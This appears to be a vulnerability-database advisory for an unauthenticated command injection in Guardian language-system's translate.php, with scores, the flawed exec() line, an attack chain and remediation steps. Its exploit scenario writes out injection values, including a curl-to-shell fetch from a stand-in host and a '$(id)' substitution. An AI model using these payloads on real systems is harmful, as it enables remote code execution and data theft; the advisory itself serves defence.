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Guardian language-system EUVDEUVD-2026-41064

| CVE-2026-34107 CRITICAL
OS Command Injection (CWE-78)
2026-07-01 VulnCheck GHSA-qp96-wjq3-2qcj
Command Injection PHP Language System
9.3
CVSS 4.0 · Vendor: VulnCheck
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Severity by source

Vendor (VulnCheck) PRIMARY
9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.8 CRITICAL

Unauthenticated network-reachable endpoint with trivial injection (AV:N/AC:L/PR:N/UI:N) yielding shell command execution, giving full C/I/A impact on the host.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

1
Analysis Generated
Jul 01, 2026 - 16:51 vuln.today

DescriptionCVE.org

Guardian language-system passes the id GET parameter directly into a PHP exec() call in translate.php (line 14) without sanitization: exec(\"php jobs/translate.php \".$login_session.\" \".$_GET['id'].\" ...\"). No authentication is required. An unauthenticated remote attacker can append shell metacharacters to execute arbitrary OS commands on the server.

AnalysisAI

OS command injection in Guardian language-system lets unauthenticated remote attackers run arbitrary shell commands by injecting metacharacters into the 'id' GET parameter of translate.php, which is concatenated directly into a PHP exec() call. Publicly available exploit code exists (published as a gist via VulnCheck), and the CVSS 4.0 base score of 9.3 reflects full compromise of confidentiality, integrity, and availability with no authentication or user interaction. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Identify exposed translate.php endpoint
Delivery
Craft 'id' parameter with shell metacharacters
Exploit
Send unauthenticated GET request
Execution
exec() runs injected OS command
Persist
Achieve remote code execution
Impact
Install webshell / exfiltrate data
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Vulnerability AssessmentAI

Exploitation The exact prerequisite is that the vulnerable endpoint translate.php is network-reachable by the attacker; exploitation is performed by supplying shell metacharacters in the 'id' GET parameter, which is concatenated unsanitized into a PHP exec() call. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment All available signals point to high, easily realized risk. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker locates an internet-exposed Guardian language-system instance and sends a single crafted GET request to translate.php with an 'id' value such as '1;curl attacker.sh|sh' or '1$(id)', causing the injected commands to run in the server's shell. Because no authentication or user interaction is required and public exploit code already exists, a low-skill attacker can reliably achieve remote code execution and then pivot to install a webshell, exfiltrate data, or deploy further payloads.
Remediation No vendor-released patch version was identified at time of analysis, so no exact fix version can be cited. … Detailed patch versions, workarounds, and compensating controls in full report.
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Recommended ActionAI

Within 24 hours: Identify all Guardian language-system instances; block network access to translate.php via firewall or WAF rules; audit system logs for unauthorized command execution. …

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EUVD-2026-41064 vulnerability details – vuln.today
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